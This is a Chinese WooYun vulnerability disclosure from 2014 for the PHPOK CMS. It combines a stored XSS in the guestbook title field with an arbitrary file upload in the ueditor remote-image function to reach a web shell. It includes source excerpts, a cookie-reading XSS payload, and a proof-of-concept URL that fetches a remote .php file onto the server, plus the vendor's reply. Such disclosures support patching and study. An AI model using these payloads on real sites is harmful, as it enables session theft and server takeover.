漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-075085
漏洞标题:PHPOK 最新版CSRF getshell
相关厂商:phpok.com
漏洞作者: 路人甲
提交时间:2014-09-09 11:57
修复时间:2014-12-08 11:58
公开时间:2014-12-08 11:58
漏洞类型:CSRF
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-09-09: 细节已通知厂商并且等待厂商处理中
2014-09-12: 厂商已经确认,细节仅向厂商公开
2014-09-15: 细节向第三方安全合作伙伴开放
2014-11-06: 细节向核心白帽子及相关领域专家公开
2014-11-16: 细节向普通白帽子公开
2014-11-26: 细节向实习白帽子公开
2014-12-08: 细节向公众公开
简要描述:
过滤不严格
详细说明:
漏洞细节:
漏洞一:存储型XSS
漏洞文件:framework/api/post_control.php(94行)
$array["title"] = $this->get("title");
....
$this->model('list')->save($array,$tid);
这里是保存用户留言内容的部分操作。$array["title"] 是获取的客户输入的主题
再来看获取过程中的过滤: (framework/init.php 第829行)
//通过post或get取得数据,并格式化成自己需要的
function get($id,$type="safe",$ext="")
{
$val = isset($_POST[$id]) ? $_POST[$id] : (isset($_GET[$id]) ? $_GET[$id] : "");
if($val == '') return false;
//判断内容是否有转义,所有未转义的数据都直接转义
$addslashes = false;
if(function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()) $addslashes = true;
if(!$addslashes) $val = $this->_addslashes($val);
return $this->format($val,$type,$ext);
}
function format($msg,$type="safe",$ext="")
{
....
switch ($type)
{
case 'safe':$msg = str_replace(array("\\","'",'"',"<",">"),array("\","'",""","<",">"),$msg); break;
...
}
在这里看到 整个过程中只是对title做了一次替换操作(\,',",<,>),并没有涉及到其他的字符。
再看输出点(访问地址是:admin.php?c=list&f=action&id=96&_rand=0.5493041966110468 ,需要管理员权限)
所以可以利用html编码方式直接绕过。
POC漏洞利用:
URL:http://192.168.152.160:8080/phpok/api.php?c=post&f=save
POST:id=book&fullname=asd&email=asd&content=asd&_chkcode=ejwh&title=111');alert(document.cookie);//
漏洞本地证明:
漏洞二:任意文件上传
漏洞文件:framework/api/ueditor_control.php(243行)
function remote_f()
{
....
$arraylist = array("jpg","gif","png","jpeg");
.......
if(strtolower(substr($imgUrl,0,10)) == 'data:image')
{
。。。
}
else{
if(strpos($imgUrl,"http")!==0)
{
array_push( $tmpNames , "error" );
continue;
}
$content = $this->lib('html')->get_content($imgUrl);
$tmp_title = basename($imgUrl);
$new_filename = substr(md5($imgUrl),9,16)."_".rand(0,99)."_".$key;
$fileType = strtolower( strrchr( $imgUrl , '.' ));
$ext = substr($fileType,1);
if(!$ext) $ext = "png";
}
if(!$content)
{
array_push( $tmpNames , "error" );
continue;
}
$save_folder = $this->dir_root.$cate_rs['folder'];
$newfile = $save_folder.$new_filename.".".$ext;
$this->lib('file')->save_pic($content,$newfile);
从头到尾$ext 没有进行白名单过滤($arraylist 这个就是白名单)。这样就导致任意文件上传。(需要后台管理权限)
POC漏洞利用链接:
api.php?c=ueditor&f=remote&upfile=http://192.168.152.160:8080/info.php
upfile的值只要是一个远程地址,后缀为php,输出内容就是shell内容即可。
漏洞本地证明:
结合两个漏洞可以直接对网站 CSRF getshell
漏洞证明:
修复方案:
你们比我更专业
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:8
确认时间:2014-09-12 14:23
厂商回复:
您好,感谢您提供如此详情的漏洞说明,目前经测试:
1、此漏洞在删除动作时注入信息,已收到,将在下周更新发布时修正!
2、我们经测试,觉得第二个问题是由于第一个漏洞造成的
最新状态:
暂无